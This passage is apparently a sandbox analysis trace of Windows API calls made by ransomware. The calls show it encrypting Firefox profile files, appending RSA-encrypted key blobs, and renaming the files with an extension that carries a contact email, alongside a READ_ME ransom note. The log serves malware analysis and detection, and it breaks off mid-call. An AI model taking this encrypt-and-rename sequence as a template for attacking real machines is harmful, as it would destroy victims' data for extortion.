(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.806] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0242.806] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40660, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40660*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.807] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.807] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e405a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e405a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.807] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0242.807] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.807] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.807] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.807] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.808] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.808] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dbhJ81NVXKoMtGzpmHIyaZ87F/s9X5Hjmo5pNNGBehN4YF3vsPtmGJf0s1+iQBap\nuA+HuJyC8LO5RmTsg9nyjesLbcT/4cDVlXVSNjETAwTMeC2m7M2Z5lW9wjnXaIGW\nLTAscMjpy3EcSsxSgwazTi/UKdXOZyqhkw6u3oe+RkP/zaziebqTuzoux7sFgPh9\nS+IOCkWhtNaOoADemOIHZpR+thcjYLaPNQFcgnCu4+RBp+sC1vIVHLgkNqhgGbRv\nRT/NF3rZFMdMcl7QFnpHYGU9ctFiWVgs5OKDED7WYT0o5kV8hRZHAE7MiO0VC3jE\nG4/oCQTsPuI56qDyuDc9qQ==\n", pcchString=0x2e3f9a8) returned 1 [0242.808] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.808] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.808] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.808] CloseHandle (hObject=0x1a54) returned 1 [0242.808] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.809] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.810] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0242.810] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.810] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0242.810] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0242.811] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.811] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0242.811] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0242.811] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.811] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.811] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.811] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.811] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.812] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yexxKYTAZt51iUurEoBZj0ELgLCLbZfiz/pfc+M9nZprnd9MUzOKqIqxGnFT6xPv\n+uu/UgxomEG6lGL7K5wkLI6Yd8SQBcwGBx6rQ4zNyYs5SQREvPWlcPaYAl7QZalg\nGGTLZCSGFIXZiuUqGrqprU/F0pwzpAGXZ4T9gtc0jJSOGvW9NoAXnN6pSojK3H0s\naOlIbYgM5Ee1fCxSqbOplG7NEVAqNbQhsEeuXX9MHidhav2GkFOHbpSmUWoj07tC\n+g59AdcW3/9mGXQcEkjouSzteAEUa5nnQ/KEd9LpgMVU1X5O8ZpKI7j+fHeNT1Zo\nQCSUGKMmd+UHX6RouyykOw==\n", pcchString=0x2e3f9a8) returned 1 [0242.812] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.812] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.812] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.812] CloseHandle (hObject=0x1a54) returned 1 [0242.812] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.814] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.814] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset", dwFileAttributes=0x80) returned 1 [0242.815] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.815] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0242.815] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40540, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40540*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.816] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.816] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40630*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40630*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.816] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0242.816] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.816] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.816] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.816] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.817] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.817] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Jx5xzPx0sefVPI9YkpFtzDE5EnQPjBxW5bhg6iIM8oZpKowtATt6e0niSdkKGZDw\nsbXfBu1PkoIqRrRUOsPpLOpOp6yLjoxnFi8ojX8ITvNS9sdG5apHa7W17+SbQPJP\nzKTUHhFSziZlUDjbkuysiNHLWNUD53RiHJB8Hh3Xe7Yeg9u7Z0d68zWFpXyTW0j6\na/iUGHzu9k5AXyfsRF1T4e5xvydEs7Px11DRZzeaNTcO8tTRchQRctupbhXQu0u/\nPWPBF9o5ad68vC4WqeBwgY1/gChJEr+Nlro2j/ngqOUofa0/PlAVW30IZwGCjNQJ\nbWwwtOXT8hVizt8AxQqYgQ==\n", pcchString=0x2e3f9a8) returned 1 [0242.817] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.817] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.817] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.817] CloseHandle (hObject=0x1a54) returned 1 [0242.817] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.819] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4016fa00, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb9f6f531, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3b5dfb9b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34e60 [0242.820] SetLastError (dwErrCode=0x0) [0242.820] GetLastError () returned 0x0 [0242.820] SetLastError (dwErrCode=0x0) [0242.820] GetLastError () returned 0x0 [0242.820] SetLastError (dwErrCode=0x0) [0242.820] FindNextFileW (in: hFindFile=0x2f34e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4016fa00, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb9f6f531, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3b5dfb9b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0242.820] SetLastError (dwErrCode=0x0) [0242.820] GetLastError () returned 0x0 [0242.820] SetLastError (dwErrCode=0x0) [0242.820] GetLastError () returned 0x0 [0242.820] SetLastError (dwErrCode=0x0) [0242.820] FindNextFileW (in: hFindFile=0x2f34e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b5dfb9b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b5dfb9b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b5dfb9b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0242.820] SetLastError (dwErrCode=0x0) [0242.820] GetLastError () returned 0x0 [0242.820] SetLastError (dwErrCode=0x0) [0242.821] GetLastError () returned 0x0 [0242.821] SetLastError (dwErrCode=0x0) [0242.821] FindNextFileW (in: hFindFile=0x2f34e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47587596, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47587596, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x475ad7ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf94c4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="scriptCache-child-current.bin", cAlternateFileName="SCRIPT~2.BIN")) returned 1 [0242.821] SetLastError (dwErrCode=0x0) [0242.821] GetLastError () returned 0x0 [0242.821] SetLastError (dwErrCode=0x0) [0242.821] SetLastError (dwErrCode=0x0) [0242.821] FindNextFileW (in: hFindFile=0x2f34e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47561304, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47561304, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x47561304, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x478118, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="scriptCache-current.bin", cAlternateFileName="SCRIPT~1.BIN")) returned 1 [0242.821] SetLastError (dwErrCode=0x0) [0242.821] GetLastError () returned 0x0 [0242.821] SetLastError (dwErrCode=0x0) [0242.821] SetLastError (dwErrCode=0x0) [0242.821] FindNextFileW (in: hFindFile=0x2f34e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486a7e6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x486a7e6a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x629b81be, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44bcec, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="startupCache.8.little", cAlternateFileName="STARTU~1.LIT")) returned 1 [0242.821] SetLastError (dwErrCode=0x0) [0242.821] GetLastError () returned 0x0 [0242.821] SetLastError (dwErrCode=0x0) [0242.821] SetLastError (dwErrCode=0x0) [0242.821] FindNextFileW (in: hFindFile=0x2f34e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486a7e6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x486a7e6a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x629b81be, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44bcec, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="startupCache.8.little", cAlternateFileName="STARTU~1.LIT")) returned 0 [0242.821] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.821] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\startupCache.8.little", dwFileAttributes=0x80) returned 1 [0242.822] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\startupCache.8.little" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\startupcache.8.little"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a58 [0242.823] GetFileSizeEx (in: hFile=0x1a58, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4504812) returned 1 [0242.823] ReadFile (in: hFile=0x1a58, lpBuffer=0x354c020, nNumberOfBytesToRead=0x44bcec, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354c020*, lpNumberOfBytesRead=0x2e3f9b4*=0x44bcec, lpOverlapped=0x0) returned 1 [0243.072] SetFilePointer (in: hFile=0x1a58, lDistanceToMove=-4504812, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.072] WriteFile (in: hFile=0x1a58, lpBuffer=0x39ab020*, nNumberOfBytesToWrite=0x44bcec, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x39ab020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x44bcec, lpOverlapped=0x0) returned 1 [0243.120] SetFilePointer (in: hFile=0x1a58, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x44bcec [0243.120] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0243.120] WriteFile (in: hFile=0x1a58, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0243.120] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0243.120] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0243.120] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0243.120] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+lccFN9oWvLiiXkxaN7LLU0td/TglXJEcLyfEfDv51FZ2MBvRX29q/LTvbRuV264\nDKsZF6J4apXsXpHPOI+p81dR0HANKOv00QGRCaIXqAVNCTc8UVw8mwAAuPCZTCk5\n81WRwtECiv7/id99mRVXc3CPcBxvd11c89yN5mLL2nswjn/It8WXjDeWvgp8Ls4I\nGhx6VnnLumM5nUNh0NgUmZPTNWu5qS0rem0gMF4KNJCiURTlgR2BV5MbYgtXq2HK\nuZqikQpYF2zg7GhD9AytJdlnXvDRUTMUmGMRECcRI64xtvUFFnzwyt+QW0CLrctA\n5VYelx6czftkAlrdXKGxDA==\n", pcchString=0x2e3f9a8) returned 1 [0243.120] WriteFile (in: hFile=0x1a58, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0243.121] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0243.121] WriteFile (in: hFile=0x1a58, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0243.121] CloseHandle (hObject=0x1a58) returned 1 [0243.121] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\startupCache.8.little" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\startupcache.8.little"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\startupCache.8.little.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\startupcache.8.little.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0243.123] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0243.123] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", dwFileAttributes=0x80) returned 1 [0243.131] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a58 [0243.132] GetFileSizeEx (in: hFile=0x1a58, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4686104) returned 1 [0243.132] ReadFile (in: hFile=0x1a58, lpBuffer=0x3548020, nNumberOfBytesToRead=0x478118, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3548020*, lpNumberOfBytesRead=0x2e3f9b4*=0x478118, lpOverlapped=0x0) returned 1 [0243.594] SetFilePointer (in: hFile=0x1a58, lDistanceToMove=-4686104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.594] WriteFile (in: hFile=0x1a58, lpBuffer=0x39d5020*, 